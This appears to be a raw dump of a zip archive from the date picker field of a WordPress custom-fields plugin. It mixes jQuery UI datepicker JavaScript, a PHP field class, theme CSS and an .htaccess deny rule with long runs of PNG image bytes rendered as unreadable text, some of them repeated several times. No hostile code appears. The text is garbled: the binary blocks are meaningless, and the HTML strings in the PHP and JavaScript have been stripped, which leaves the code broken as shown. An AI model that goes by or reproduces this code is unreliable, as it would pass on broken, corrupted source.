'; var monthHtml = ''; // month selection if (secondary || !changeMonth) monthHtml += '' + monthNames[drawMonth] + ''; else { var inMinYear = (minDate && minDate.getFullYear() == drawYear); var inMaxYear = (maxDate && maxDate.getFullYear() == drawYear); monthHtml += ''; } if (!showMonthAfterYear) html += monthHtml + (secondary || !(changeMonth && changeYear) ? ' ' : ''); // year selection if ( !inst.yearshtml ) { inst.yearshtml = ''; if (secondary || !changeYear) html += '' + drawYear + ''; else { // determine range of years to display var years = this._get(inst, 'yearRange').split(':'); var thisYear = new Date().getFullYear(); var determineYear = function(value) { var year = (value.match(/c[+-].*/) ? drawYear + parseInt(value.substring(1), 10) : (value.match(/[+-].*/) ? thisYear + parseInt(value, 10) : parseInt(value, 10))); return (isNaN(year) ? thisYear : year); }; var year = determineYear(years[0]); var endYear = Math.max(year, determineYear(years[1] || '')); year = (minDate ? Math.max(year, minDate.getFullYear()) : year); endYear = (maxDate ? Math.min(endYear, maxDate.getFullYear()) : endYear); inst.yearshtml += ''; html += inst.yearshtml; inst.yearshtml = null; } } html += this._get(inst, 'yearSuffix'); if (showMonthAfterYear) html += (secondary || !(changeMonth && changeYear) ? ' ' : '') + monthHtml; html += '
'; // Close datepicker_header return html; }, /* Adjust one of the date sub-fields. */ _adjustInstDate: function(inst, offset, period) { var year = inst.drawYear + (period == 'Y' ? offset : 0); var month = inst.drawMonth + (period == 'M' ? offset : 0); var day = Math.min(inst.selectedDay, this._getDaysInMonth(year, month)) + (period == 'D' ? offset : 0); var date = this._restrictMinMax(inst, this._daylightSavingAdjust(new Date(year, month, day))); inst.selectedDay = date.getDate(); inst.drawMonth = inst.selectedMonth = date.getMonth(); inst.drawYear = inst.selectedYear = date.getFullYear(); if (period == 'M' || period == 'Y') this._notifyChange(inst); }, /* Ensure a date is within any min/max bounds. */ _restrictMinMax: function(inst, date) { var minDate = this._getMinMaxDate(inst, 'min'); var maxDate = this._getMinMaxDate(inst, 'max'); var newDate = (minDate && date < minDate ? minDate : date); newDate = (maxDate && newDate > maxDate ? maxDate : newDate); return newDate; }, /* Notify change of month/year. */ _notifyChange: function(inst) { var onChange = this._get(inst, 'onChangeMonthYear'); if (onChange) onChange.apply((inst.input ? inst.input[0] : null), [inst.selectedYear, inst.selectedMonth + 1, inst]); }, /* Determine the number of months to show. */ _getNumberOfMonths: function(inst) { var numMonths = this._get(inst, 'numberOfMonths'); return (numMonths == null ? [1, 1] : (typeof numMonths == 'number' ? [1, numMonths] : numMonths)); }, /* Determine the current maximum date - ensure no time components are set. */ _getMinMaxDate: function(inst, minMax) { return this._determineDate(inst, this._get(inst, minMax + 'Date'), null); }, /* Find the number of days in a given month. */ _getDaysInMonth: function(year, month) { return 32 - this._daylightSavingAdjust(new Date(year, month, 32)).getDate(); }, /* Find the day of the week of the first of a month. */ _getFirstDayOfMonth: function(year, month) { return new Date(year, month, 1).getDay(); }, /* Determines if we should allow a "next/prev" month display change. */ _canAdjustMonth: function(inst, offset, curYear, curMonth) { var numMonths = this._getNumberOfMonths(inst); var date = this._daylightSavingAdjust(new Date(curYear, curMonth + (offset < 0 ? offset : numMonths[0] * numMonths[1]), 1)); if (offset < 0) date.setDate(this._getDaysInMonth(date.getFullYear(), date.getMonth())); return this._isInRange(inst, date); }, /* Is the given date in the accepted range? */ _isInRange: function(inst, date) { var minDate = this._getMinMaxDate(inst, 'min'); var maxDate = this._getMinMaxDate(inst, 'max'); return ((!minDate || date.getTime() >= minDate.getTime()) && (!maxDate || date.getTime() <= maxDate.getTime())); }, /* Provide the configuration settings for formatting/parsing. */ _getFormatConfig: function(inst) { var shortYearCutoff = this._get(inst, 'shortYearCutoff'); shortYearCutoff = (typeof shortYearCutoff != 'string' ? shortYearCutoff : new Date().getFullYear() % 100 + parseInt(shortYearCutoff, 10)); return {shortYearCutoff: shortYearCutoff, dayNamesShort: this._get(inst, 'dayNamesShort'), dayNames: this._get(inst, 'dayNames'), monthNamesShort: this._get(inst, 'monthNamesShort'), monthNames: this._get(inst, 'monthNames')}; }, /* Format the given date for display. */ _formatDate: function(inst, day, month, year) { if (!day) { inst.currentDay = inst.selectedDay; inst.currentMonth = inst.selectedMonth; inst.currentYear = inst.selectedYear; } var date = (day ? (typeof day == 'object' ? day : this._daylightSavingAdjust(new Date(year, month, day))) : this._daylightSavingAdjust(new Date(inst.currentYear, inst.currentMonth, inst.currentDay))); return this.formatDate(this._get(inst, 'dateFormat'), date, this._getFormatConfig(inst)); } }); /* * Bind hover events for datepicker elements. * Done via delegate so the binding only occurs once in the lifetime of the parent div. * Global instActive, set by _updateDatepicker allows the handlers to find their way back to the active picker. */ function bindHover(dpDiv) { var selector = 'button, .ui-datepicker-prev, .ui-datepicker-next, .ui-datepicker-calendar td a'; return dpDiv.bind('mouseout', function(event) { var elem = $( event.target ).closest( selector ); if ( !elem.length ) { return; } elem.removeClass( "ui-state-hover ui-datepicker-prev-hover ui-datepicker-next-hover" ); }) .bind('mouseover', function(event) { var elem = $( event.target ).closest( selector ); if ($.datepicker._isDisabledDatepicker( instActive.inline ? dpDiv.parent()[0] : instActive.input[0]) || !elem.length ) { return; } elem.parents('.ui-datepicker-calendar').find('a').removeClass('ui-state-hover'); elem.addClass('ui-state-hover'); if (elem.hasClass('ui-datepicker-prev')) elem.addClass('ui-datepicker-prev-hover'); if (elem.hasClass('ui-datepicker-next')) elem.addClass('ui-datepicker-next-hover'); }); } /* jQuery extend now ignores nulls! */ function extendRemove(target, props) { $.extend(target, props); for (var name in props) if (props[name] == null || props[name] == undefined) target[name] = props[name]; return target; }; /* Determine whether an object is an array. */ function isArray(a) { return (a && (($.browser.safari && typeof a == 'object' && a.length) || (a.constructor && a.constructor.toString().match(/\Array\(\)/)))); }; /* Invoke the datepicker functionality. @param options string - a command, optionally followed by additional parameters or Object - settings for attaching new datepicker functionality @return jQuery object */ $.fn.datepicker = function(options){ /* Verify an empty collection wasn't passed - Fixes #6976 */ if ( !this.length ) { return this; } /* Initialise the date picker. */ if (!$.datepicker.initialized) { $(document).mousedown($.datepicker._checkExternalClick). find('body').append($.datepicker.dpDiv); $.datepicker.initialized = true; } var otherArgs = Array.prototype.slice.call(arguments, 1); if (typeof options == 'string' && (options == 'isDisabled' || options == 'getDate' || options == 'widget')) return $.datepicker['_' + options + 'Datepicker']. apply($.datepicker, [this[0]].concat(otherArgs)); if (options == 'option' && arguments.length == 2 && typeof arguments[1] == 'string') return $.datepicker['_' + options + 'Datepicker']. apply($.datepicker, [this[0]].concat(otherArgs)); return this.each(function() { typeof options == 'string' ? $.datepicker['_' + options + 'Datepicker']. apply($.datepicker, [this].concat(otherArgs)) : $.datepicker._attachDatepicker(this, options); }); }; $.datepicker = new Datepicker(); // singleton instance $.datepicker.initialized = false; $.datepicker.uuid = new Date().getTime(); $.datepicker.version = "1.8.14"; // Workaround for #4055 // Add another global to avoid noConflict issues with inline event handlers window['DP_jQuery_' + dpuuid] = $; })(jQuery); PK;hZii9fields/date_picker/images/ui-bg_glass_65_ffffff_1x400.pngnuW+APNG  IHDRoX 0IDAT8! + ̼JHR)[lk=O_(<` H"IENDB`PK;hZYo9fields/date_picker/images/ui-bg_flat_75_ffffff_40x100.pngnuW+APNG  IHDR(ddrzyIDATh1 R 7(ȚV`%X V`%X V`%X V`%X V`%X V`%X V`%X V`%X V`%X V`%X V`%X V`%X Vj)2NIENDB`PK;hZ4OOAfields/date_picker/images/ui-bg_highlight-soft_0_444444_1x100.pngnuW+APNG  IHDRdG,Z`IDATcpqq0J>t%IENDB`PK;hZ5fields/date_picker/images/ui-icons_888888_256x240.pngnuW+APNG  IHDRIJPLTEƁONtRNS2P."Tp@f` <BHJZ&0R,4j8D|($ blߝF>n~hhHIDATx]b۶H儒-{iZK:glkn-tIqq? E$dK>$>;PZsVh!Sy0E0}H)-t koܪKp\RϠ .E7 ) *V;~Pe Bx*,=$zDؾ JҸٻ9{ ǸHpqW@"2'B[$ @TiH/b٥96!XHq`DE*R HV!%;" i] dddddddd4y5  Rb@(8CdŪݡ,@T@ibrq0alX!pe, =4bW { 5Ƭhu~(Q^@3="b5XC@JCT76q_5 @,r šɩD)T|O@ ON-ՙ [n@RXIm݋(F @?=0puL;g$@6η K`>п @h գKVn"a" %l@.v$/U^ G:#`` uTtK~ŋZ5T%kxk]\*Q ,҇B44 OXK|yg+_M(lоEO V$T1BXb-|?@ fBXr%'@ҹA\IJ,}BBc\V rh(]tI^}oצo S3 ";ʙb}"߰ ){b$Gwwݾab")T@pF_er6JvШ"mޭM-d76x˰6ӥ;/`>KrP\_^u1%OTM.}Q3.Nس})>-w`a+sy$t)NbFFFFBejnNVn4,A*X*5>PGa 3 {oB &<L[ Nc.öi=`Q@d ͆I.Il`\t[< Cit484-r +f쑱BCB MH iy }>rxp|z;BǏ;burcK4tz1G~`ؚK| ̔>ۡO$~ Ao)0pzz }i`;ADm8n:cfA@s7L Z/..h8or? N93B~o_'`opO- :TG L;7]`B%˛>*wTpM0H}&t ^1'Oqr'2P͡+z,tIW''|en=dzgRm[NStK{҉mؓVt6ҲR`ζN&}B U(rۗ&1%Q''?l׸+&r{jN಻4) `N狌. ߭ ǣ)q 2?n3Hb`} .`pqY1e_bu7e+N_F(DT,L}LLrmP5|x芥1cx DAb`M(7NED~Mz +4BXd.Mzv͈Pd8p<6?8N*x.6ڍ6GFZ)O !lSshssNp8`'0/<s}.@Ǩs7ξO۟VDa5av]m1+3y6۠>@u50Ps51==p *KVҫ܂ݻc$N4(Xr2###c- 賟Lδ>]5.sYs1f0;'̨Yg銛{@9 `aC(=%bo2=n1 jBoS$n#m=i0ci9}oI qT]W%.(؅]z\x f"]o'u䫵tk{v;AC3ֆwwR_#X (xҋ/q%W hpk_IX'b/fXKi"#####QCLi2t 5L0 QiH2;yTOok;ע ٶ`RNg{zy!Kxm?A(vU~mL(`o/!nmX-{v[ dw=n「sdwzn(}Oy~ m ?XU;,V'+ V&JRZ]᧭:zC'-߆@y 4u `Vۓwъ#zP@Q N>2/{\o)W~a3xLw :_Q;=pּdt\'8~3SRP6y+XQ*޺r ̗ѭ*޺r gl/\U^u$|mbVnw \V|D͊NVNy7k<;/E}?E*dzgO ~g/96f cD}% g$QG7o)U Jo,O@0߾Q(;bw:5 NwRN5Iy'K?}:9mֽ*@f@jU9mҫÍ{$ؗ}dFp|%!DdF>}G{@FFFFFFƦQܞH 3 u Mo~vy}mwz<7nP9rWku=|_nz쿳}@IXn?sn~hhHIDATx]b۶H儒-{iZK:glkn-tIqq? E$dK>$>;PZsVh!Sy0E0}H)-t koܪKp\RϠ .E7 ) *V;~Pe Bx*,=$zDؾ JҸٻ9{ ǸHpqW@"2'B[$ @TiH/b٥96!XHq`DE*R HV!%;" i] dddddddd4y5  Rb@(8CdŪݡ,@T@ibrq0alX!pe, =4bW { 5Ƭhu~(Q^@3="b5XC@JCT76q_5 @,r šɩD)T|O@ ON-ՙ [n@RXIm݋(F @?=0puL;g$@6η K`>п @h գKVn"a" %l@.v$/U^ G:#`` uTtK~ŋZ5T%kxk]\*Q ,҇B44 OXK|yg+_M(lоEO V$T1BXb-|?@ fBXr%'@ҹA\IJ,}BBc\V rh(]tI^}oצo S3 ";ʙb}"߰ ){b$Gwwݾab")T@pF_er6JvШ"mޭM-d76x˰6ӥ;/`>KrP\_^u1%OTM.}Q3.Nس})>-w`a+sy$t)NbFFFFBejnNVn4,A*X*5>PGa 3 {oB &<L[ Nc.öi=`Q@d ͆I.Il`\t[< Cit484-r +f쑱BCB MH iy }>rxp|z;BǏ;burcK4tz1G~`ؚK| ̔>ۡO$~ Ao)0pzz }i`;ADm8n:cfA@s7L Z/..h8or? N93B~o_'`opO- :TG L;7]`B%˛>*wTpM0H}&t ^1'Oqr'2P͡+z,tIW''|en=dzgRm[NStK{҉mؓVt6ҲR`ζN&}B U(rۗ&1%Q''?l׸+&r{jN಻4) `N狌. ߭ ǣ)q 2?n3Hb`} .`pqY1e_bu7e+N_F(DT,L}LLrmP5|x芥1cx DAb`M(7NED~Mz +4BXd.Mzv͈Pd8p<6?8N*x.6ڍ6GFZ)O !lSshssNp8`'0/<s}.@Ǩs7ξO۟VDa5av]m1+3y6۠>@u50Ps51==p *KVҫ܂ݻc$N4(Xr2###c- 賟Lδ>]5.sYs1f0;'̨Yg銛{@9 `aC(=%bo2=n1 jBoS$n#m=i0ci9}oI qT]W%.(؅]z\x f"]o'u䫵tk{v;AC3ֆwwR_#X (xҋ/q%W hpk_IX'b/fXKi"#####QCLi2t 5L0 QiH2;yTOok;ע ٶ`RNg{zy!Kxm?A(vU~mL(`o/!nmX-{v[ dw=n「sdwzn(}Oy~ m ?XU;,V'+ V&JRZ]᧭:zC'-߆@y 4u `Vۓwъ#zP@Q N>2/{\o)W~a3xLw :_Q;=pּdt\'8~3SRP6y+XQ*޺r ̗ѭ*޺r gl/\U^u$|mbVnw \V|D͊NVNy7k<;/E}?E*dzgO ~g/96f cD}% g$QG7o)U Jo,O@0߾Q(;bw:5 NwRN5Iy'K?}:9mֽ*@f@jU9mҫÍ{$ؗ}dFp|%!DdF>}G{@FFFFFFƦQܞH 3 u Mo~vy}mwz<7nP9rWku=|_nz쿳}@IXn?sn~hhHIDATx]b۶H儒-{iZK:glkn-tIqq? E$dK>$>;PZsVh!Sy0E0}H)-t koܪKp\RϠ .E7 ) *V;~Pe Bx*,=$zDؾ JҸٻ9{ ǸHpqW@"2'B[$ @TiH/b٥96!XHq`DE*R HV!%;" i] dddddddd4y5  Rb@(8CdŪݡ,@T@ibrq0alX!pe, =4bW { 5Ƭhu~(Q^@3="b5XC@JCT76q_5 @,r šɩD)T|O@ ON-ՙ [n@RXIm݋(F @?=0puL;g$@6η K`>п @h գKVn"a" %l@.v$/U^ G:#`` uTtK~ŋZ5T%kxk]\*Q ,҇B44 OXK|yg+_M(lоEO V$T1BXb-|?@ fBXr%'@ҹA\IJ,}BBc\V rh(]tI^}oצo S3 ";ʙb}"߰ ){b$Gwwݾab")T@pF_er6JvШ"mޭM-d76x˰6ӥ;/`>KrP\_^u1%OTM.}Q3.Nس})>-w`a+sy$t)NbFFFFBejnNVn4,A*X*5>PGa 3 {oB &<L[ Nc.öi=`Q@d ͆I.Il`\t[< Cit484-r +f쑱BCB MH iy }>rxp|z;BǏ;burcK4tz1G~`ؚK| ̔>ۡO$~ Ao)0pzz }i`;ADm8n:cfA@s7L Z/..h8or? N93B~o_'`opO- :TG L;7]`B%˛>*wTpM0H}&t ^1'Oqr'2P͡+z,tIW''|en=dzgRm[NStK{҉mؓVt6ҲR`ζN&}B U(rۗ&1%Q''?l׸+&r{jN಻4) `N狌. ߭ ǣ)q 2?n3Hb`} .`pqY1e_bu7e+N_F(DT,L}LLrmP5|x芥1cx DAb`M(7NED~Mz +4BXd.Mzv͈Pd8p<6?8N*x.6ڍ6GFZ)O !lSshssNp8`'0/<s}.@Ǩs7ξO۟VDa5av]m1+3y6۠>@u50Ps51==p *KVҫ܂ݻc$N4(Xr2###c- 賟Lδ>]5.sYs1f0;'̨Yg銛{@9 `aC(=%bo2=n1 jBoS$n#m=i0ci9}oI qT]W%.(؅]z\x f"]o'u䫵tk{v;AC3ֆwwR_#X (xҋ/q%W hpk_IX'b/fXKi"#####QCLi2t 5L0 QiH2;yTOok;ע ٶ`RNg{zy!Kxm?A(vU~mL(`o/!nmX-{v[ dw=n「sdwzn(}Oy~ m ?XU;,V'+ V&JRZ]᧭:zC'-߆@y 4u `Vۓwъ#zP@Q N>2/{\o)W~a3xLw :_Q;=pּdt\'8~3SRP6y+XQ*޺r ̗ѭ*޺r gl/\U^u$|mbVnw \V|D͊NVNy7k<;/E}?E*dzgO ~g/96f cD}% g$QG7o)U Jo,O@0߾Q(;bw:5 NwRN5Iy'K?}:9mֽ*@f@jU9mҫÍ{$ؗ}dFp|%!DdF>}G{@FFFFFFƦQܞH 3 u Mo~vy}mwz<7nP9rWku=|_nz쿳}@IXn?sIDAT81 0Cџ $CB}1@)e_ƅ`I8-%cM0 )" LIENDB`PK;hZ-nnn9fields/date_picker/images/ui-bg_glass_75_e6e6e6_1x400.pngnuW+APNG  IHDRoX 5IDAT81 yUXHa@[{UUu@7 DFIENDB`PK;hZ55fields/date_picker/images/ui-icons_454545_256x240.pngnuW+APNG  IHDRIJPLTEDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDm:NtRNS2P."Tp@f` <BHJZ&0R,4j8D|($ blߝF>n~hhHIDATx]b۶H儒-{iZK:glkn-tIqq? E$dK>$>;PZsVh!Sy0E0}H)-t koܪKp\RϠ .E7 ) *V;~Pe Bx*,=$zDؾ JҸٻ9{ ǸHpqW@"2'B[$ @TiH/b٥96!XHq`DE*R HV!%;" i] dddddddd4y5  Rb@(8CdŪݡ,@T@ibrq0alX!pe, =4bW { 5Ƭhu~(Q^@3="b5XC@JCT76q_5 @,r šɩD)T|O@ ON-ՙ [n@RXIm݋(F @?=0puL;g$@6η K`>п @h գKVn"a" %l@.v$/U^ G:#`` uTtK~ŋZ5T%kxk]\*Q ,҇B44 OXK|yg+_M(lоEO V$T1BXb-|?@ fBXr%'@ҹA\IJ,}BBc\V rh(]tI^}oצo S3 ";ʙb}"߰ ){b$Gwwݾab")T@pF_er6JvШ"mޭM-d76x˰6ӥ;/`>KrP\_^u1%OTM.}Q3.Nس})>-w`a+sy$t)NbFFFFBejnNVn4,A*X*5>PGa 3 {oB &<L[ Nc.öi=`Q@d ͆I.Il`\t[< Cit484-r +f쑱BCB MH iy }>rxp|z;BǏ;burcK4tz1G~`ؚK| ̔>ۡO$~ Ao)0pzz }i`;ADm8n:cfA@s7L Z/..h8or? N93B~o_'`opO- :TG L;7]`B%˛>*wTpM0H}&t ^1'Oqr'2P͡+z,tIW''|en=dzgRm[NStK{҉mؓVt6ҲR`ζN&}B U(rۗ&1%Q''?l׸+&r{jN಻4) `N狌. ߭ ǣ)q 2?n3Hb`} .`pqY1e_bu7e+N_F(DT,L}LLrmP5|x芥1cx DAb`M(7NED~Mz +4BXd.Mzv͈Pd8p<6?8N*x.6ڍ6GFZ)O !lSshssNp8`'0/<s}.@Ǩs7ξO۟VDa5av]m1+3y6۠>@u50Ps51==p *KVҫ܂ݻc$N4(Xr2###c- 賟Lδ>]5.sYs1f0;'̨Yg銛{@9 `aC(=%bo2=n1 jBoS$n#m=i0ci9}oI qT]W%.(؅]z\x f"]o'u䫵tk{v;AC3ֆwwR_#X (xҋ/q%W hpk_IX'b/fXKi"#####QCLi2t 5L0 QiH2;yTOok;ע ٶ`RNg{zy!Kxm?A(vU~mL(`o/!nmX-{v[ dw=n「sdwzn(}Oy~ m ?XU;,V'+ V&JRZ]᧭:zC'-߆@y 4u `Vۓwъ#zP@Q N>2/{\o)W~a3xLw :_Q;=pּdt\'8~3SRP6y+XQ*޺r ̗ѭ*޺r gl/\U^u$|mbVnw \V|D͊NVNy7k<;/E}?E*dzgO ~g/96f cD}% g$QG7o)U Jo,O@0߾Q(;bw:5 NwRN5Iy'K?}:9mֽ*@f@jU9mҫÍ{$ؗ}dFp|%!DdF>}G{@FFFFFFƦQܞH 3 u Mo~vy}mwz<7nP9rWku=|_nz쿳}@IXn?sn~hhHIDATx]b۶H儒-{iZK:glkn-tIqq? E$dK>$>;PZsVh!Sy0E0}H)-t koܪKp\RϠ .E7 ) *V;~Pe Bx*,=$zDؾ JҸٻ9{ ǸHpqW@"2'B[$ @TiH/b٥96!XHq`DE*R HV!%;" i] dddddddd4y5  Rb@(8CdŪݡ,@T@ibrq0alX!pe, =4bW { 5Ƭhu~(Q^@3="b5XC@JCT76q_5 @,r šɩD)T|O@ ON-ՙ [n@RXIm݋(F @?=0puL;g$@6η K`>п @h գKVn"a" %l@.v$/U^ G:#`` uTtK~ŋZ5T%kxk]\*Q ,҇B44 OXK|yg+_M(lоEO V$T1BXb-|?@ fBXr%'@ҹA\IJ,}BBc\V rh(]tI^}oצo S3 ";ʙb}"߰ ){b$Gwwݾab")T@pF_er6JvШ"mޭM-d76x˰6ӥ;/`>KrP\_^u1%OTM.}Q3.Nس})>-w`a+sy$t)NbFFFFBejnNVn4,A*X*5>PGa 3 {oB &<L[ Nc.öi=`Q@d ͆I.Il`\t[< Cit484-r +f쑱BCB MH iy }>rxp|z;BǏ;burcK4tz1G~`ؚK| ̔>ۡO$~ Ao)0pzz }i`;ADm8n:cfA@s7L Z/..h8or? N93B~o_'`opO- :TG L;7]`B%˛>*wTpM0H}&t ^1'Oqr'2P͡+z,tIW''|en=dzgRm[NStK{҉mؓVt6ҲR`ζN&}B U(rۗ&1%Q''?l׸+&r{jN಻4) `N狌. ߭ ǣ)q 2?n3Hb`} .`pqY1e_bu7e+N_F(DT,L}LLrmP5|x芥1cx DAb`M(7NED~Mz +4BXd.Mzv͈Pd8p<6?8N*x.6ڍ6GFZ)O !lSshssNp8`'0/<s}.@Ǩs7ξO۟VDa5av]m1+3y6۠>@u50Ps51==p *KVҫ܂ݻc$N4(Xr2###c- 賟Lδ>]5.sYs1f0;'̨Yg銛{@9 `aC(=%bo2=n1 jBoS$n#m=i0ci9}oI qT]W%.(؅]z\x f"]o'u䫵tk{v;AC3ֆwwR_#X (xҋ/q%W hpk_IX'b/fXKi"#####QCLi2t 5L0 QiH2;yTOok;ע ٶ`RNg{zy!Kxm?A(vU~mL(`o/!nmX-{v[ dw=n「sdwzn(}Oy~ m ?XU;,V'+ V&JRZ]᧭:zC'-߆@y 4u `Vۓwъ#zP@Q N>2/{\o)W~a3xLw :_Q;=pּdt\'8~3SRP6y+XQ*޺r ̗ѭ*޺r gl/\U^u$|mbVnw \V|D͊NVNy7k<;/E}?E*dzgO ~g/96f cD}% g$QG7o)U Jo,O@0߾Q(;bw:5 NwRN5Iy'K?}:9mֽ*@f@jU9mҫÍ{$ؗ}dFp|%!DdF>}G{@FFFFFFƦQܞH 3 u Mo~vy}mwz<7nP9rWku=|_nz쿳}@IXn?s Order allow,deny Deny from all PK;hZۇoo9fields/date_picker/images/ui-bg_glass_75_dadada_1x400.pngnuW+APNG  IHDRoX 6IDAT8cx&Qb%-7(`bbBf!؈(1Jc ܠIENDB`PK;hZ C"fields/date_picker/date_picker.phpnuW+Aname = 'date_picker'; $this->label = __("Date Picker",'acf'); $this->category = __("jQuery",'acf'); $this->defaults = array( 'date_format' => 'yymmdd', 'display_format' => 'dd/mm/yy', 'first_day' => 1, // monday ); // actions add_action('init', array($this, 'init')); // do not delete! parent::__construct(); } /* * init * * This function is run on the 'init' action to set the field's $l10n data. Before the init action, * access to the $wp_locale variable is not possible. * * @type action (init) * @date 3/09/13 * * @param N/A * @return N/A */ function init() { global $wp_locale; $this->l10n = array( 'closeText' => __( 'Done', 'acf' ), 'currentText' => __( 'Today', 'acf' ), 'monthNames' => array_values( $wp_locale->month ), 'monthNamesShort' => array_values( $wp_locale->month_abbrev ), 'monthStatus' => __( 'Show a different month', 'acf' ), 'dayNames' => array_values( $wp_locale->weekday ), 'dayNamesShort' => array_values( $wp_locale->weekday_abbrev ), 'dayNamesMin' => array_values( $wp_locale->weekday_initial ), 'isRTL' => isset($wp_locale->is_rtl) ? $wp_locale->is_rtl : false, ); } /* * create_field() * * Create the HTML interface for your field * * @param $field - an array holding all the field's data * * @type action * @since 3.6 * @date 23/01/13 */ function create_field( $field ) { // make sure it's not blank if( !$field['date_format'] ) { $field['date_format'] = 'yymmdd'; } if( !$field['display_format'] ) { $field['display_format'] = 'dd/mm/yy'; } // html echo '
'; echo ''; echo ''; echo '
'; } /* * create_options() * * Create extra options for your field. This is rendered when editing a field. * The value of $field['name'] can be used (like bellow) to save extra data to the $field * * @type action * @since 3.6 * @date 23/01/13 * * @param $field - an array holding all the field's data */ function create_options( $field ) { // global global $wp_locale; // vars $key = $field['name']; ?>

'text', 'name' => 'fields[' .$key.'][date_format]', 'value' => $field['date_format'], )); ?>

'text', 'name' => 'fields[' .$key.'][display_format]', 'value' => $field['display_format'], )); ?> weekday ); do_action('acf/create_field', array( 'type' => 'select', 'name' => 'fields['.$key.'][first_day]', 'value' => $field['first_day'], 'choices' => $choices, )); ?> PK;hZRIfIf(fields/date_picker/style.date_picker.cssnuW+A/* * jQuery UI CSS Framework 1.8.14 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Theming/API */ /* Layout helpers ----------------------------------*/ .ui-acf .ui-helper-hidden { display: none; } .ui-acf .ui-helper-hidden-accessible { position: absolute !important; clip: rect(1px 1px 1px 1px); clip: rect(1px,1px,1px,1px); } .ui-acf .ui-helper-reset { margin: 0; padding: 0; border: 0; outline: 0; line-height: 1.3; text-decoration: none; font-size: 100%; list-style: none; } .ui-acf .ui-helper-clearfix:after { content: "."; display: block; height: 0; clear: both; visibility: hidden; } .ui-acf .ui-helper-clearfix { display: inline-block; } /* required comment for clearfix to work in Opera \*/ * html .ui-helper-clearfix { height:1%; } .ui-acf .ui-helper-clearfix { display:block; } /* end clearfix */ .ui-acf .ui-helper-zfix { width: 100%; height: 100%; top: 0; left: 0; position: absolute; opacity: 0; filter:Alpha(Opacity=0); } /* Interaction Cues ----------------------------------*/ .ui-acf .ui-state-disabled { cursor: default !important; } /* Icons ----------------------------------*/ /* states and images */ .ui-acf .ui-icon { display: block; text-indent: -99999px; overflow: hidden; background-repeat: no-repeat; } /* Misc visuals ----------------------------------*/ /* Overlays */ .ui-acf .ui-widget-overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; } /* * jQuery UI CSS Framework 1.8.14 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Theming/API * * To view and modify this theme, visit http://jqueryui.com/themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=444444&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=0&borderColorHeader=000000&fcHeader=e5e5e5&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=5bc6f5&bgTextureHighlight=01_flat.png&bgImgOpacityHighlight=55&borderColorHighlight=1cb1f2&fcHighlight=ffffff&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px */ /* Component containers ----------------------------------*/ .ui-acf .ui-widget { font-family: Verdana,Arial,sans-serif; font-size: 1.1em; } .ui-acf .ui-widget .ui-widget { font-size: 1em; } .ui-acf .ui-widget input, .ui-acf .ui-widget select, .ui-acf .ui-widget textarea, .ui-acf .ui-widget button { font-family: Verdana,Arial,sans-serif; font-size: 1em; } .ui-acf .ui-widget-content { border: 1px solid #E1E1E1; box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1); color: #222222; background: #fff; } .ui-acf .ui-widget-content a { color: #222222; } .ui-acf .ui-widget-header { background: #2EA2CC; color: #e5e5e5; font-weight: bold; border-radius: 0 !important; width: 100%; padding: 8px 3px; position: relative; margin: -3px 0 0 -3px; } .ui-acf .ui-widget-header a { color: #e5e5e5; } /* Interaction states ----------------------------------*/ .ui-acf .ui-state-default, .ui-acf .ui-widget-content .ui-state-default, .ui-acf .ui-widget-header .ui-state-default { border: 1px solid #E1E1E1; background: #F9F9F9; font-weight: normal; color: #555555; } .ui-acf .ui-state-default a, .ui-acf .ui-state-default a:link, .ui-acf .ui-state-default a:visited { color: #555555; text-decoration: none; } .ui-acf .ui-state-hover, .ui-acf .ui-widget-content .ui-state-hover, .ui-acf .ui-widget-header .ui-state-hover, .ui-acf .ui-state-focus, .ui-acf .ui-widget-content .ui-state-focus, .ui-acf .ui-widget-header .ui-state-focus { border: 1px solid #999999; background: #dadada url(images/ui-bg_glass_75_dadada_1x400.png) 50% 50% repeat-x; font-weight: normal; color: #212121; } .ui-acf .ui-state-hover a, .ui-acf .ui-state-hover a:hover { color: #212121; text-decoration: none; } .ui-acf .ui-state-active, .ui-acf .ui-widget-content .ui-state-active, .ui-acf .ui-widget-header .ui-state-active { border: 1px solid #aaaaaa; background: #ffffff url(images/ui-bg_glass_65_ffffff_1x400.png) 50% 50% repeat-x; font-weight: normal; color: #212121; } .ui-acf .ui-state-active a, .ui-acf .ui-state-active a:link, .ui-acf .ui-state-active a:visited { color: #212121; text-decoration: none; } .ui-acf .ui-widget :active { outline: none; } /* Interaction Cues 